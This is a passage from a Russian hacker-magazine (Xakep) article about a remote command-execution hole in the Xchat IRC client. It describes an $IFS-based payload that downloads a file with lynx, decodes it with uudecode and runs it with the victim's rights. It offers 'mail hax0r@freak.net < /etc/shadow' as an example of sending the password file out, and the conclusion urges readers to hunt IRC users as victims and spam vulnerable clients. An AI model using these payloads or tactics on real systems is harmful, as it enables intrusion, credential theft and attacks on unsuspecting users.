Убитый Xchat

Xakep, номер #023, стр. 023-050-3

echo You've been hax0red

echo --zen

Я думаю, тебе понятно, что выдаст твой комп при следующем заходе в систему. Как видишь, в этом примере использована уже описанная переменная $IFS, которая позволяет выполнить команду lynx -dump "URL"|uudecode (поясняю - опция dump перенаправляет содержание WEB документа в стандартный вывод, который, в свою очередь, передается программе uudecode для декодирования из ASCII формата в бинарный), после чего запускается на выполнение полученный программный файл (./thingee), который и творит показанную непотребность, обладая при этом твоими правами пользователя.

Как видишь, тебе повезло, что использованный для примера случай не имеет отношения к хорошо прописанным деструктивным скриптам/программам... Будь на месте автора этой демонстрашки прожженный scriptkiddie, то вместо относительно невинного исправления конфигурационного файла твой компьютер сотворил бы что-либо вроде mail hax0r@freak.net < /etc/shadow (отсылка по E-mail файла паролей) или попросту открыл бы backdoor для этого самого hax0r =).

ЗАКЛЮЧЕНИЕ

Насколько известно на сей день, эта дыра живет во всех имеющихся версиях Xchat и работает во всех клонах UNIX - от Solaris до BSD. Правда, некоторые дистрибутивы выпустили пропатченные версии этого клиента, но из-за малой известности описанной уязвимости эти версии еще долго останутся невостребованными :). Так что можешь смело идти на IRC и искать подходящую жертву. Или просто состряпай скрипт, проверяющий версии клиента у посетителей канала и, в зависимости от результатов, кидающий им в приват спам с адресами супер-пупер-варез-хак страниц :). Уверяю - народ поведется. Ну а дальше все зависит только от твоей фантазии. Ну и, конечно, не забывай о необходимости по максимуму обеспечить свою безопасность при работе в Инете, а то, глядишь, поимеют и тебя =)! И вообще, для того чтобы не уподобляться тем, кого я в начале статьи определил как потенциальных жертв взлома, старайся как можно дальше продвинуться в освоении своего *nix. Это значит - читай документацию, сделай команду man своей любимой командой, отведи в букмарках место для сайтов о твоей операционной системе и старайся впитать любую полезную информацию, на которую наткнешься. Тогда, обещаю, ты очень быстро достигнешь того уровня, когда недостатки операционных систем или программного обеспечения не будут для тебя проблемой, и тогда твоя система станет защищенной, а дырявые системы защиты серверов и обыкновенных пользователей - легкой игрушкой =).

Удачного хака!